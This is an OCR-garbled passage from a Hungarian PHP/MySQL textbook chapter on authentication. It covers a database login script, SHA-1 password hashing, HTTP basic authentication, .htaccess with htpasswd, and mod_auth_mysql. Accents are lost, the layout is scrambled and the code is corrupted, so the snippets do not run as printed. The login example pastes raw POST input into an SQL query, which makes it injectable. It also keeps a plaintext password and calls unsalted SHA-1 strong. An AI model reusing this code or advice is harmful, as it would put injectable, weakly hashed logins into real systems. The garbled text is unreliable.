felhasznlkat hozzad, a meglv felhasznlkat trl, illetve a felhasznli jelszavak mdostst lehetv tev kdot. A 17.2 pldakdban az oldal ltogatit adatbzis segtsgvel hitelest kdot lthatunk.

17

268

17.fezet

17.2 pldakd: tit kos_adatbazis. php-A MySQL hasznlatval tovbbfejlesztett, egyszer hitelestsi mechanizmus
<?php $nev = $_POST['nev']; $jelszo
=

$ POST['Jelszo'];

if ((!isset($nev}}

l l

( 1 isset($jelszo}}}

//A ltogatnak meg kell adni nevt s jelszavt ?>

<hl>Krjk,

jelentkezzen be'</hl>

<p>Az oldal titkos.</p> <form method="post" action="titkos adatbazis.php"> <p>Felhasznli nv: <p>Jelsz: <input type="text" name="nev"></p>

<input type="password" name="jelszo"></p>

<p><input type="submit" name="submit" value="Bejelentkezs"></p> </form>

<?php else

ll csatlakozs mysql-hez
$mysql = mysqli connect("localhost", if (!$mysql} echo "Nem sikerlt csatlakozni az adatbzishoz."; exit; "webeshitelesites", "webeshitelesites"};

ll a megfelel adatbzis kivlasztsa


$k1valasztott = mysqli select db($mysql, if (!$kivalasztott} "hitelesites"};

echo "Nem sikerlt kivlasztani az adatbzist."; exit;

ll az adatbzis lekrdezse egyez rekord utn kutatva


$lekerdezes
=

"SELECT count(*} FROM jogosult_felhasznalok WHERE nev = ''' .$nev.'' ' and jelsza
=

'''.$jelszo.'' ' '' ;

$eredmeny = mysqli_query($mysql, if(!$eredmeny}

$lekerdezes};

echo "A lekrdezs nem futtathat."; exit;

$sor = mysqli fetch row($eredmeny};

17

Sctarab = $sor[O];

if ($darab > 0}

ll a ltogat nv s jelsz prosa megfelel


echo "<hl>Tessk!</hl> <p>Fogadjunk, else hogy rl, hogy lthatja ezt a titkos oldalt!</p>";

ll a ltogat nv/jelsz prcsa nem megfelel


echo "<hl>Krjk, tvozzon!</hl>

<p>Nem jogosult megtekinteni ezeket az informcikat.</p>";

Hitelests megvalstsa PHP-vel s MySQL-lel

269

?> Az itt hasznlt adatbzis ltrehozshoz csatlakozzunk a MySQL-hez root felhasznlknt, s futtassuk a 17.3 pldakd tartalmr! 17.3 pldakd: hitelesi tesi _adatbazis _letrehozasa. sql- Ezek a MySQL lekrdezsek hozzk ltre a hitelesites

adatbzist, a hitelesites tblt s a kt mintafelhasznlt


CREATE DATABASE hitelesites;

USE hitelesites; CREATE TABLE

JOgosult felhasznalek (nev varchar(20), jelsze varchar(40),


PRIMARY KEY

(nev}

);
INSERT INTO jogosult

felhasznalek VALUES ('felhasznaloi_nev', 'jelszo');

INSERT INTO jogosult

felhasznalek

VALUES ('teszt_felhasznalo',

shal (' jelszo'));


GRANT SELECT ON hitelesites.* TO 'webeshitelesites' IDENTIFIED BY 'webeshitelesites'; FLUSH PRIVILEGES;

Jelszavak titkostsa
Akr adatbzisban, akr sima fjlban rizzk az adatokat, a jelszavak egyszer szvegknt trolsval szksgtelen kock zatnak tesszk ki magunkat. Egyirny hash algoritmussal minimlis tbbleterfesztssel rhetnk el magasabb szint biztonsgot. PHP-ben szmos egyirny hash fggvny elrhet. A legrgebbi s a legkevsb biztonsgos a crypt () fggvny ltal knlt Unix Crypt algoritmus. Az md5( ) fggvny ltal megvalstott Message Digest 5 (MDS) algoritmus ennl ersebb. Mg ersebb ugyanakkor a S ecure Hash Algorithm l (SHA-1) nev algoritmus. Az shal () PHP fggvny ers, egyirny kriptogrfiai hash fggvny. Prototpusa a kvetkez:
string shal ( string str

[,

bool nyers_kimenet])

Ha adott az str karakterlnc, a fggvny egy pszeudo-vletlenszer, 40 karakteres sztringet ad vissza. Amennyiben a nyers_kimenet paramtert true-ra, azaz igazra lltjuk, 20 karakteres binris karakterlncot kapunk helyette. Legyen adott pldul a" jelszo" karakterlnc: az shal () fggvny ekkor a" 5baa6le4c9b93f3f0682250b6cf833lb7ee68
fdB"

sztringet adja vissza. Ezr nem lehet visszafejteni, mg az sem tudja "jelszo"-v visszaalakitani, aki ltrehozta, gy els

rnzsre nem sok rtelme van ennek az egsznek. Az shal () fggvny hasznossgt az adja, hogy kimenere egyrtelm (de terminisztikus). Ha ugyanazt a karakterlncot adjuk neki, az shal () mindig ugyanazt az eredmnyt fogja visszaadni. Az ilyen PHP kd helyett: if (($nev == 'felhasznaloi_nev')
($jelszo == 'jelszo')}
//OK, {
&&

17

a jelszavak egyeznek

ilyet rdemes hasznlni:


if (($nev == 'felhasznaloi_nev'} && (shal($jelszo )== '5baa6le4c9b93f3f0682250b6cf833lb7ee68fd8'}}
//OK,

a jelszavak egyeznek

Nem szksges tisztban lennnk azzal, hogyan nzett ki a jelsz az shal () fggvny alkalmazsa eltt. Csak arrl kell meggyzdnnk, hogy az shal () fggvnyt a begpelt s az eredeti jelszra alkalmazva ugyanazokat a kimeneteket kapjuk-e.

270

17. fejezet

Ahogy korbban mr emltettk, az elfogadhat felhasznli neveket s jelszavakat nem ,Ynlott kzveclenl a kdba berni. Trolsukra hasznljunk inkbb kln fjlt vagy adatbzist! Amennyiben MySQL adatbzisban troljuk a hitelestshez szksges adatokat, az shal ( ) PHP fggvnyt vagy az
SHAl () MySQL fggvnyt egyarnt hasznlhatjuk. A MySQL mg a PHP-nl is tbbfle hash algoritmust knl, m ezek

mind ugyanazt a clt szolgljk. Az SHAl () hasznlathoz a kvetkezkppen kellene trni a 17.2 pldakdban lv SQL lekrdezst:
SELECT count(*)
nev =

FROM jogosult felhasznalek WHERE


and

'''.$nev.'''

jelsze = shal('".$jelszo."')

A fenti lekrdezs megszmolja a jogosul t_felhasznalok nev tbla azon sorait, amelyeknek a nev rtke a $nev vltoz tartalmval, a jelsza rtke pedig a$jelszo tartalmra alkalmazott SHAl( fggvny ltal visszaadott rtkkel egye ) zik meg. Amennyiben csak egyedi felhasznli neveket lehet vlasztani, a lekrdezs eredmnye csak O karakteres sztring. Gondoskocljunk rla, hogy az adatbzis oszlopai fogadni tudjk az ekkora adatokat! A 17.3 pldakdra visszatekintve lthatjuk, hogy a kt lehetsges megkzeltst illusztrland ltrehozrunk egy felhasznlt
(' felhasznaloi _nev') nem titkostott, egy msikat ('teszt_ felhasznala'

vagy l lehet.

Ne feledjk, hogy a hash fggvnyek ltalban rgztett mret adatot adnak vissza! Az SH1 fggvny esetn ez egy 40

pedig titkostott jelszval.

Tbb oldal vdelme


Ennl kicsit nehezebb azt megvalstani, hogy a 17.1 s a 17.2 pldakdban szerepl kd egynl tbb oldalt is vdjen. Mivel a HTTP nem llapottart, nincs automatikus kapcsolat vagy sszefggs az ugyanattl a szemlytl rkez krsek kztr. Ez bonyolultt teszi, hogy az adatokat - pldul a felhasznl ltal megadott hitelestsi informcit - oldalrl oldalra magunkkal vigyk. T bb oldalt legegyszerbben a webszerver ltal knlt hozzfrs-szablyozsi mechanizmusok segtsgvel rudunk vdeni. Rvidesen ttekintjk ezeket a mechanizmusokat. Ha s,Yt magunk szeretnnk ltrehozni ezt a funkcit, a 17.1 pldakdban szerepl kd bizonyos rszeit kellene beilleszteni minden vdeni kvnt oldalra. Az auto_prepend_file s az a uto_append_file segtsgvel automatikusan hozzrhatjuk a kdot a meghatrozott knyvtrakban lv sszes fjl elejhez vagy vghez. Ezeknek az utastsoknak a hasznlatt a Kd jbli jelhasznlsa sfggvnyrs cm 5. fejezetben mutattuk be. Tegyk fel, hogy ezt a megkzeltst vlasztj uk. Mi trtnik ebben az esetben akkor, amikor a ltogatk honlapunkon bell tbb oldalt is megnyitnak? Minden bizonnyal elfogadhatatlan lesz szmukra, ha minden megtekinteni kvnt oldalon jra s jra meg kell adniuk nevket s jelszavukat. a felhasznli adatok szkzket s URL-ekben nem megengedett ms karaktereket is tartalmazhatnak, az urlencode( ) fggvny segtsgvel rudnnk biztonsgosan kdoini ezeket a karaktereket. Ez a megkzelts is felvet azonban nhny problmt. Mivel az adatok a felhasznlknak kldtt oldalakba s az ltaluk felkeresett URL-ekbe illesztdnnek be, az ltaluk megltogatott vdett oldalakat brki megteknthetn, ha ugyanazon a gpen visszalpkedne a gyorsttrazort oldalakon, vagy megnzn a bngszsi elzmnyeket. Mivel minden egyes lekrt s megje lentett oldal esetn oda-vissza kldzgetjk a bngsznek a jelszt, ezt a bizalmas informcit a szksgesnl gyakrabban vagyunk knytelenek tovbbtani. Kt j mdszer ltezik a kt problma kezelsre: a HTTP alapszint hitelestsi funkcija s a munkamenetek (session) hasz nlata. Az alapszint hitelests megoldja a gyorsttrazs problmjt, m a bngsz a jelszt tovbbra is minden egyes krsnl elkldi a kiszolglnak. A munkarnenet-vezrls (session control) mindkt problmra megoldst knl. A HTTP alapszint hitele stsvel a kvetkezkben foglalkozunk, a munkarnenet-vezrlst pedig a 23., majd rszletesebben a 27. fejezetben mutatjuk be. Megtehetnnk, hogy a felhasznJk ltal megadott adatokat hozzfzzk az oldalon lv sszes hiperhivatkozshoz. Mivel

17

Alapszint hitelests hasznlata


A felhasznJk hitelestse szerencsre olyan gyakori feladat, hogy a HTTP beptett hitelestsi eszkzkkel rendelkezik. A kdok s webszerverek hitelestst krhetnek a bngsztL Ebben az esetben a bngsz felels azrt, hogy prbeszdabla kot vagy hasonl segdeszkzt megjelentve megszerezze a felhasznltl a krt informcit. Br a webszerver minden egyes felhasznli krshez j hitelestsi adatokat ignyelhet, a bngsznek nem szksges min den oldalnl bekrnie a felhasznli adatokat. A bngsz jellemzen mindaddig eltrolja ezeket, amg a felhasznl nyitva tartja a bngszablakot, s felhasznli beavatkozs nlkl, automatikusan jrakldi ket az azt kr kiszolglnak. A HTTP ezen funkcijt alapszint hitelestsnek (basic authentication) nevezzk. Az ilyen hitelesrst PHP-vel vagy a webszerverbe beptett mechanizmusokkal rudjuk kivltani. Elszr a PHP, majd az Apache mdszert fogjuk megvizsglni.

Hitelests megvalstsa PHP-vel s MySQL-lel

271

Az alapszint hitelests egyszer szvegknt kldi a felhasznl nevt s jelszavr, gy nem tlsgosan biztonsgos. A HTTP 1.1 az ennl biztonsgosabb kivonatos hitelests (digest authentication) nev mdszert knlja, amely a tranzakci rszleteit hash algoritmussal (ltalban az MD5-tel) rejti el a kvnesi szemek ell. A kivonatos hitelesrst szmos webszerver s a bngszk jabb verzii tmogatjk. Mindazonltal igen sok olyan, rgebbi bngsz van mg hasznlatban, amely nem tmogatja ezt a hitelestsi mdszert, s a Microsoft Internet Explorer s az Internet Information Server is a kivonatos hireles rs olyan verzijt tartalmazza, amely nem kompatibilis a nem Microsoft-termkekkel. Tl azon, hogy egyes bngszk nem megfelelen tmogatjk, a kivonatos hitelests egy msik problmja, hogy mg ez sem kellen biztonsgos. Az alapszint s a kivonatos hitelests is alacsony fok biztonsgot nyjt. Egyik sem tuclja garantlni
a

felhasznlnak, hogy azzal a gppel kommunikl, amit ppen elrni kvn. Mindkett lehetv teszi a crackereknek, hogy

jra lejtsszk a kiszolglnak ugyanazt a krst. Mivel az alapszint hitelests egyszer szvegknt tovbbtja a felhasznli jelszavakat, a csomagokat megszerezni kpes cracker a felhasznl brbe bjva brmilyen krst intzhet a kiszolglhoz. Az alapszint hitelests ppolyan (alacsony) fok biztonsgot nyjt, mint a jelszavakat szintn egyszer szvegknt to vbbt telnetes vagy FTP-s csadakozsok. A kivonatos hitelests valamivel biztonsgosabb, mivel tovbbts eltt titkosrja
a jelszavakat.

Ha SS L-lel s digitlis tanstvnyokkal tvzzk az alapszint hitelests t, akkor a webes tranzakci minden rszt kellkppen vcljk. Ha ers biztonsgi szintre van ignynk, olvassuk el a Biztonsgos tranzakcik megvalstsa PHP-vel s MySQL-lel cm 18. fejezetet! Ennek ellenre sok esetben elegend lehet egy olyan gyors, m viszonylag kevss biztonsgos mdszer is, mint az alapszint hitelests. Az alapszint hitelests egy megnevezett tartomnyt (realm) vd, s rvnyes felhasznli nv s jelsz megadsra kny szerti a felhasznlkat. A tartomnyok megnevezse gy trtnik, hogy ugyanazon a kiszolgln egynl tbb tartomny is kialakrhat. Ugyanazon szerver klnbz fjljai vagy knyvrrai eltr rartomnyokba tartozharnak, amelyek mindegyikt klnbz felhasznli nevek s jelszavak vdik. Az elnevezett tartomnyokkal ugyanakkor egyeden tartomnyknt csoporto srhatjuk az ugyanazon a gpen vagy virtulis gpen lv knyvtrakat, s egyeden jelszval vdherjk ket.

Alapszint hitelests PHPben


A PHP kdok ltalban platformfggedenek, de az alapszint hitelests hasznlata a kiszolgl ltal belltott krnyezeti

vltozkra pl. Ahhoz, hogy ugyanaz a HTTP hitelestsi kd a PHP-t Apache-madulknt hasznl Apache szerveren vagy
ISAPI-modulknt hasznl IlS szerveren is fusson, rzkelnie kell a kiszolgl tpust, s kiszolgltl fggen kiss eltr

mdon kell viselkednie. A 17.4 pldakd mindkr kiszolgln futni fog.


17.4 pldakd: h t tp. php-A HTTP alapszint hitelestst kivlt PHP kd
<?php

llIIS hasznlata esetn be kell lltani a ll$_SERVER['PHP_AUTH_USER']-t s a ll$ SERVER['PHP_AUTH_PW']-t

if ((substr($_SERVER['SERVER_SOFTWARE'], (!isset($_SERVER['PHP_AUTH_USER'])) (!isset($_SERVER['PHP_AUTH PW']))

O,
&&

9)

'Microsoft')

&&

&&

(substr($ SERVER['HTTP_AUTHORIZATION'],

0,

6)

'Basic ')

{
$_SERVER['PHP_AUTH_PW']) = 6)));

list($SERVER['PHP_AUTH_USER'], explode(' :',

base64_decode(substr($_SERVER['HTTP_AUTHORIZATION'],

ll Helyettestsk ezt az if utastst adatbzis-lekrdezssei vagy hasonlval' if (($_SERVER['PHP_AUTH_USER'] != 'felhasznalo') ($ SERVER['PHP_AUTH_PW'] != 'jelszo'))

ll

272

17. fejezet

ll ll

a ltogat mg nem adta meg adatait,

vagy nem

megfelel felhasznli nv/jelsz pros

header('WWW-Authenticate:

Basic realm="Realm-Name"');

if (substr($

SERVER['SERVER_SOFTWARE'], 401

O,

9)

==

'Microsoft')

header('llapot: else

Jogosulatlan hozzfrs');

{
Jogosulatlan hozzfrs');

header('HTTP/1.0 401

echo "<hl>Krjk,

tvozzon!</hl>

<p>Nem jogosult megtekinteni ezeket az informcikat.</p>";

else

ll

a ltogat megfelel adatokat adott meg

echo "<hl>Tessk!</hl> <p>Fogadjunk, hogy rl, hogy lthatja ezt a titkos oldalt!</p>";

?>

A 17.4 pldakd a fejezet korbbi pldakdjaihoz hasonlan mkdik. Ha a felhasznl mg nem adta meg a hitelestshez szksges adatokat, akkor bekri azokat. Hibs felhasznli nv-jelsz pros esetn a felhasznl a visszautastsrl kap zene tet. Megfelel hitelestsi adatok megadsa esetn a felhasznl megtekintheti a kre oldal tartalmr. Ebben az esetben azonban a felhasznl a korbbiaktl nmikppen eltr kezelfelletet lt. Ez a kd ugyanis nem jelent meg HTML rlapot a bejelentkezsi adacoknak. A felhasznl bngszje az, ami egy prbeszdablakot nyit meg. Egyesek szmra ez elny, msok jobban szeretik, ha teljes mctkben irnytsuk alatt tarthatjk a kezelfellet vizulis elemeit. A Firefox ltal megjelentett prbeszdablakot a 17.4 brn lthatjuk. Mivel a hitelestse a bngsz beptett funkcii segtik, bizonyos fokig a bngszn mlik, hogy miknt kezeli a sikertelen hitelestsi ksrleteket. Az Internet Explorer pldul hrom hitelestsi ksrletet enged meg a felhasznlnak, s csak ezt k veten jelenti meg az elutastsrl tjkoztat oldalt. Firefaxban akrhnyszor prblkozhat a felhasznl, az egyes ksrletek kzte csupn az.,Authorization failed. Retry?'; azaz .. Sikercelen hitelests. Megprblja jra?" zenet jelenik meg. A Firefox csak akkor jelenti meg az elutast oldalt, ha a felhasznl a.,Cancel" gombra kattint. Ahogy a 17.1 s 17.2 pldakdok esetben, ezt a kdot beilleszthetjk minden vdeni kvnt oldalra, vagy automatikusan hozzfzhetjk egy knyvtr sszes fjljnak elejhez.

17.4 bra: HTTP hitelests esetn ajelhasznl bngszje hatrozza meg a prbeszdablak megjelenst.

Alapszint hitelests az Apache

h t a c c ess fjljaival

A 17.4 pldakdhoz hasonl eredmnyeket PHP kd rsa nlkl is elrhetnk. Az Apache webszerver szmos olyan hiteles tsi modult tartalmaz, amivel megllapthatjuk a felhasznl ltal megadott adatok valdisgt. Legegyszerbben amod_ auth hasznlhat, amely egy, a kiszolgln callhat szveges fjl soraival hasonltja ssze a felhasznli nv-jelsz prosokat.

Hitelests megvalstsa PHP-vel s MySQL-lel

273

Az elz kdval megegyez eredmny elrshez kt klnll HTML fjlt kell ltrehoznunk: az egyik a tartalom oldala,
a a

msik az elutasts. Az elzekben egyes HTML elemeket kihagytunk, de HTML ellltshoz rnylegesen hasznlni kell
<html>

s a <body> cmkket.

A tar talom.html nev 17.5 pldakd a jogosult felhasznJk ltal megtekinthet tarralmar llrja el. Az elutasitas.
htrnl

nev 17.6 pldakd az elutast oldal. Az elutasts esern megjelen oldalt nem ktelez elkszteni, de professzionlis

szemlleter tkrz, ha hasznos informcikat jelentnk meg rajra. Mivel ez az oldal akkor jelenik meg. amikor egy felhasznl sikertelenl prbl meg bejelentkezni a vdert terletre, hasznos informci lehet, ha kzljk, hogyan rud regiszrrlni, illerve mi a reendje elfelejtett jelsz esetn. 17.5 pldakd: tartalom. html - Mintatartalorn
<htrnl><body> <hl>Tessk!</hl> <p>Fogadjunk, hogy rl, hogy lthatja ezt a titkos oldalt!</p>

</body></html>

17.6 pldakd: elutasitas.htrnl- Minta 401-es hibaoldalra


<htrnl><body> <hl>Krjk, tvozzon!</hl>

<p>Nern jogosult megtekinteni ezeket az informcikat.</p> </body></htrnl>

Ezekben a fjlokban semmi jdonsg nincs. Pldnk rdekessge a 17.7 pldakdban Ithar fjl. Ezt a fjlt . htaccess knr kell elnevezni, s ez fogja szablyozni a knyvtrban lv fjlokhoz s alknyvtrakhoz val hozzfrst. 17.7 pldakd: . htaccess- Egy . htaccess fjl tbb Apache konfigurcis belltst szablyozhat, gy a hitelests aktivlst is
ErrorDocument 401 /l7_feJezet/elutasitas.html

AuthUserFile /horne/book/.htpass AuthGroupFile /dev/null AuthName "Realm-Nev"

AuthType Basic require valid-user


.

A 17.7 pldakd egy Az els sor


ErrorDocument
azt

htaccess

fjl, ami az adott knyvtrban bekapcsolja az alapszint hitelestsr. Sok bellts megad

hat egy . htaccess fjlban, de a pldban szerepl hat sor mind a hitelesrssei kapcsolatos.
401 /l7_feJezet/elutasitas.html

kzli az Apache-csel, hogy rnilyen dokumentumot jelentsen meg sikertelen hitelests esern (HTTP 401-es hiba). Ms direktvkkal sajt oldalakat lltharunk be az olyan hibkhoz is, mint pldul a 404-es. Az ehhez haszn
URL

ErrorDocument

land szintaktika:
ErrorDocument hiba szarna

A 401-es hibt kezel oldal esetben fontos, hogy a megadort URL nyilvnosan elrhet legyen. Nem sok rtelme lenne testreszabort hibaoldalon kzlni az emberekkel, hogy hitelestsk sikertelen volt, ha ezt az oldalt olyan knyvrrba helyez nnk, amit csak sikeres hitelests utn tekinthernek meg. A msodik sor
AuthUserFile /home/book/.htpass

17

kzli az Apache-csel, hol tallja a jogosult felhasznJk jelszavait tartalmaz fjlt. Ennek ltalban . htpass a neve, de br milyen, neknk tetsz mdon elnevezhetjk. Nem az a fontos, hogy hogyan hvjuk, hanem hogy hol troljuk. Nem szabad
a webknyvtrban

trolni- ott, ahol a webszerveren keres.zrl brki letltheti. A pldban hasznlt . htpass fjlt a 17.8

minrakdban ralljuk. Nem csupn azt tehetjk meg. hogy meghatrozzuk a jogosult felhasznlkat, hanem azt is megmondhatjuk, hogy csak meghatrozort csoportokba tartoz jogosult felhasznJk rhetik el az informciforrsokat. A pldban ezt nem tesszk, ezrt az albbi sor:

274

17. fejezet

AuthGroupFile Idev/null

az AuthGroupFile-lal a /dev/null-ra mutat, ami Unix rendszerek esetben olyan klnleges fjl, amely garantltan res. Ahogy a PHP-s pldban, a HTT P hitelests hasznlathoz itt is meg kell neveznnk a tartomnyt:
AuthName "Realrn-Nev"

Tetszleges tartomnynevet vlaszthatunk, de ne feledjk, hogy a nevet a ltogatk is ltni fogjk! Hogy nyilvnvalv te gyk, hogy a pldban szerepl nevet meg kell vltoztarni, tartomnyunknak a "Realrn-Nev" nevet adtuk. Mivel tbb klnbz hitelestsi mdszer is tmogatott, meg kell hatrozni, hogy melyiket kvnjuk hasznlni. Pldnkban a Basic, vagyis alapszint hitelestssei dolgozunk, ahogy ez az tdik sorbl is kiderl:
AuthType Basic

Azt is meg kell hatroznunk, hogy kinek engedlyezzk a hozzfrst. Megadhatunk konkrt felhasznlkat, konkrt cso portokat vagy- mint ahogy a pldban is tettk- egyszeren minden hitelestett felhasznlnak hozzfrst adhatunk. Az albbi sor:
require valid-user

azt jelzi, hogy minden szablyos felhasznl szmra engedlyezzk a hozzfrst.


17.8 pldakd:. htpass- A

jelszfjl trolja a felhasznli neveket s aJelhasznlk titkostott jelszavt

felhasznalol:OnRp9M80GS7zM felhasznalo2:nC13sOTOhp.ow felhasznalo3:yjQMCPWjXFTzU felhasznalo4:LOrnlMEi/hArne2

A . htpass fjl minden sorban egy felhasznli nevet, kettspontot s az adott felhasznli nvhez tartoz titkostott jelszt tallunk. A . htpass pontos tartalma vltoz lesz. Ltrehozshoz egy htpasswd nev kis prograrnot hasznlunk, amely az Apache disztribciban rnegrallhat. A htpasswd prograrnot ktflekppen hasznlhatjuk:
htpasswd [-crndps) jelszofajl felhasznaloinev jelszofajl felhasznaloinev jelszo

vagy
htpasswd -b[crndps)

Egyetlen kapcsolt kell hasznlnunk, ez a -c.Hasznlatval kzljk a htpasswd-vel, hogy hozza ltre a fjlt. Az els felhasznl hozzadsakor van szksge erre a kapcsolra. Figyeljnk, hogy a tbbi felhasznlnl mr ne hasznljuk, mert ha a fjl mr ltezik, a htpasswd trli, s jat hoz ltre! Az opcionlis rn, d, p s s kapcsolval a hasznlni kvnt titkostsi algoritmust (vagy a titkosts hinyt) hatrozhatjuk meg. A b kapcsal kzli a programmal, hogy a jelszt pramterknt vrja, ne pedig krje azt. Ez a funkci akkor hasznos, ha nem interaktvan, ktegelt (batch) folyamat rszeknt kvnjuk meghvni a htpasswd programot, de ne hasznljuk, ha a pa rancssorbl hvjuk meg! Az albbi parancsok hoztk ltre a 17.8 pldakdban lthat fjlt:
htpasswd -be /horne/book/.htpass felhasznalal jelszal htpasswd -b /horne/book/.htpass felhasznalo2 jelszo2 htpasswd -b /horne/book/.htpass felhasznalo3 jelszo3 htpasswd -b /horne/book/.htpass felhasznalo4 jelszo4

17

A htpasswd nem felttlenl tallhat meg elrsi tvonalunkon, ebben az esetben a teljes elrsi tjt meg kell adni. A leg tbb rendszeren a /usr/local/apache/bin knyvtrban talljuk. Az ilyen tpus hitelests knnyen bellthat, a .htaccess ilyetn hasznlata azonban felvet nhny problmt. A fel hasznlkat s a jelszavakat szveges fjlban troljuk. Minden alkalommal, arnikor egy bngsz a . htaccess fjl ltal vdett fjlt kr, a kiszolglnak fel kell dolgoznia a . htaccess fjlt, majd a jelszfjlt, megprblva sszeill felhasznli nv s jelsz prost tallni. A . htaccess fjl hasznlata helyett a httpd. cont fjlban- vagyis webszervernk f konfi gurcis fjljban- is meghatrozharnnk ugyanezeket. A . htaccess fjl rninden egyes fjlkrskor feldolgozsra kerl, a httpd.conf fjl viszont csak a szerver elindulsakor. Ez a megkzelts gyorsabb ugyan, de azt jelenti, hogy brmilyen vltoztatshoz le kell lltani, majd jra kell indtani a kszolglt. Fggetlenl attl, hogy hol troljuk a szerverdirektvkat, a jelszfjlban minden egyes krsnl keresni kell. Ez azt jelenti, hogy- minden ms, egyszer fjlt hasznl mdszerhez hasonlan- ez sem igazn alkalmazhat tbb szz vagy tbb ezer felhasznl esetn.

Hitelests megvalstsa PHP-vel s MySQL-lel

275

Amod auth_mysql hitelests hasznlata


Ahogy mr emltettk, amod_au th hitelests knnyen bellthat az Apache-csel, s radsul hatkony is. Mivel azonban szveges fjlban trolja a felhasznlkat, nem igazn megfelel sokak ltal ltogatott, forgalmas oldalak esetn. Szerencsre a mod_auth_mysql hitelests az adatbzis sebessgvel tvzi a mod_auth egyszer hasznlhatsgt. Ez amodul nagyrszt amod_auth-hoz hasonlan mkdik, de mivel szveges fjl helyett MySQL adatbzist hasznl, gyorsan

rud keresni akr igen nagy felhasznli listkban is.


Hasznlathoz fordtani kell a modult, s telepteni kell rendszernkre, vagy meg kell krnnk rendszergazdnkat, hogy releprse.

Amod auth mysql modul teleptse


-

Amod_auth_mysql

hasznlathoz a fggelkben lertak szerint telepteni kell az Apache-t s a MySQL-t, majd nhny

rovbbi lpst kell vgrehajtani. A dsztribci README s USAGE fjljaiban kell tjkoztatst kaphatunk, br ezek egyes helyeken korbbi verzik mkdsre utalnak. lljon most itt egy rvid sszefoglals!

l. Szerezzk be a modulhoz tartoz dsztribci tmrtett llomnyt! Ez megrallhat a knyvnek a www.perfactkiado.


hu/ mellekletek oldalrl letlthet mellkletn, de a legfrissebb vltozatot brmikor letlthetjk a http:/ l sourceforge. net/projects/modauthmysql oldalrl.

2. Csomagoljuk ki a forrskdot! 3. Vltsunk a


mod_auth_mysql

knyvtrra, futtassuk a make, majd a make install parancsot! Elkpzelhet, hogy

a MySQL teleptsi mappjt meg kell vltoztaeni a MakeFile fjlban.

4. Annak rdekben, hogy a modul dnarnikusan tltdjn be az Apache-be, adjuk az albbi sort a httpd.conf-hoz:
LoadModule mysql_auth_module libexec/mod_auth_mysql.so

5. Hozzuk ltre MySQL-ben a hitelestsi informcikat tartalmaz adatbzist s tblt! Nem kell, hogy ez kln adatb
zis vagy tbla legyen, hasznlhatunk meglvt is, pldul a fejezet korbbi pldjban szerepl lakozshoz szksges paramtereket! A direktva gy nz ki:
Auth_MySQL_Info hostnev felhasznaloi_nev jelsze

hitelesites

adatbzist.

6. Adjuk hozz a httpd. conf fjlhoz az albbi sort, hogy megadjuk amod _auth_mysql szmra a MySQL-hez csat

Legegyszerbben gy ellenrizhetjk, hogy jl dolgoztunk-e, ha megnzzk, elindul-e az Apache. Indtshoz gpeljk be


a kvetkezket:

/usr/local/apache/bin/apachectl startssl

Ha a httpd. conf fjlban az Auth_MySQL_Info drektvval indul az Apache, akkor sikeresen hozzadtuk
amod_auth_mysql

modult.

Amod_auth_mysql modul hasznlata


Sikeres teleptse utn amod_auth_mysql modult semmivel sem bonyolultabb hasznlni, mint amod_auth modult.
A 17.9
tott

pldakd olyan . htaccess fjlt tartalmaz, amely a fejezet korbbi rszben ltrehozott adatbzisban trolt, titkos

jelszavakkal hitelesti a felhasznlkat.


.htaccess-

17.9 pldakd:

Ez a .htaccessfjl MySQL adatbzis alapjn hitelesti a felhasznlkat

ErrorDocument 401 /17

fejezet/elutasitas.html

AuthName "Realm Nev" AuthType Basic

17

Auth_MySQL_DB hitelesites Auth_MySQL_Encryption_Types MySQL Auth_MySQL_Password_Table jogosult_felhasznalok Auth_MySQL_Username_Field nev Auth_MySQL_Password_Field jelsze

require valid-user

276

17. fezet

Lthat, hogy a 17.9 pldakd nagyrszt megegyezik a 17.7-essel. Itt is meghatrozzuk a 401-es hiba (sikertelen hitelests) esetn megjelentend dokumentumot. Szintn az alapszint hitelestse vlasztj uk, s elnevezzk a tartomnyt. s akrcsak a 17.7 pldakdban, itt is minden hitelestett felhasznl szmra megadott a hozzfrs. Mivel mod_auth_mysql hitelesrst hasznlunk, s nem minden alaprtelmezett belltst kvntunk megtartani, di rektvk segtsgvel mdostottuk a hitelests mkdst. Az Auth_MySQL_DB, az Auth _MySQL_Password _ Table, az
Auth_MySQL_Username _Field

s az Auth_MySQL_Password_Field hatrozza meg az adatbzis, a tbla, illetve a fel

hasznli nv mezjnek a nevt. Az Auth_MySQL_Encryption Types direktvval adjuk meg, hogy MySQL jelsztitkosrst kvnunk hasznlni. Ennl
_

a direktvnl a Plaintext, a Crypt_DES s a MySQL lehetsg kzl vlaszthatunk. Az alaprtelmezett Crypt_DES le hetsg szabvnyos Unix DES-titkosts jelszavakat hasznl. A Felhasznlk szempontjbl ez a mod_auth_mysql modulos plda pontosan gy mkdik, mint a mod_auth modu los. A felhasznl bngszje egy prbeszdablakot jelent meg. Sikeres hitelests esetn a felhasznl megtekntheti a tartal mat. Ha a hitelests sikertelen, a hibaoldal jelenik meg. Sok weboldal szmra a mod _auth_ mysql az idelis megolds. Gyors s viszonylag egyszeren megvalsthat, illetve lehetv teszi, hogy az j felhasznlkat knyelmes mdszerekkel vigyk be az adatbzisba. Ha nagyobb rugalmassgra s ap rlkosabb szablyozsra van szksgnk, rdemes PHP s MySQL hasznlatval egyni hitelestsi mdszert kdolgozni.

Egyni hitelestsi folyamat ltrehozsa


Ebben a fejezetben megvizsgltuk, hogyan hozhatjuk ltre beptett hitelestsi mdszerek segtsgvel sajt hitelestsi elj rsainkat. Ezek szksgszeren kevsb rugalmasak, mintha a teljes kdot mi magunk rtuk volna, s hasznlarukkor kny telenek vagyunk elfogadni bizonyos hibkat s kompromisszumokat. A knyv egy ksbbi rszben, a munkamenet-vezrls megismerse utn olyan egyni hitelestsi eljrsokat tudunk majd rni, amelyeknl kevesebb kompromisszumot lesznk knytelenek ktni. A 23. fejezetben olyan egyszer hitelestsi rendszert dolgozunk k, amely munkameneteket hasznl a vltozk oldalak k ztti nyomon kvetsre, gy kzdi le az ebben a fejezetben ltott problmk egy rszt. A 27. fejezetben egy vals vilgbeli projekere alkalmazzuk ezt a megkzeltst, hogy lssuk, miknt lehet finoman szablyoz hat hitelestsi rendszer megvalstsra hasznlni.

Tovbbi olvasnival
A HTTP hitelestsrl rszletesen a http:/ /www.rfc-editor.org/rfc/rfc2617.txt cmen elrhet RFC 2617 ajnlsban olvashatunk. Az Apache-ben az alapszint hitelesrst szablyoz mod_auth dokumentcijt a http://httpd.apache.org/docs/2.0/ mod/mod_auth.html cmen rjk el.
Amod_auth_mysql

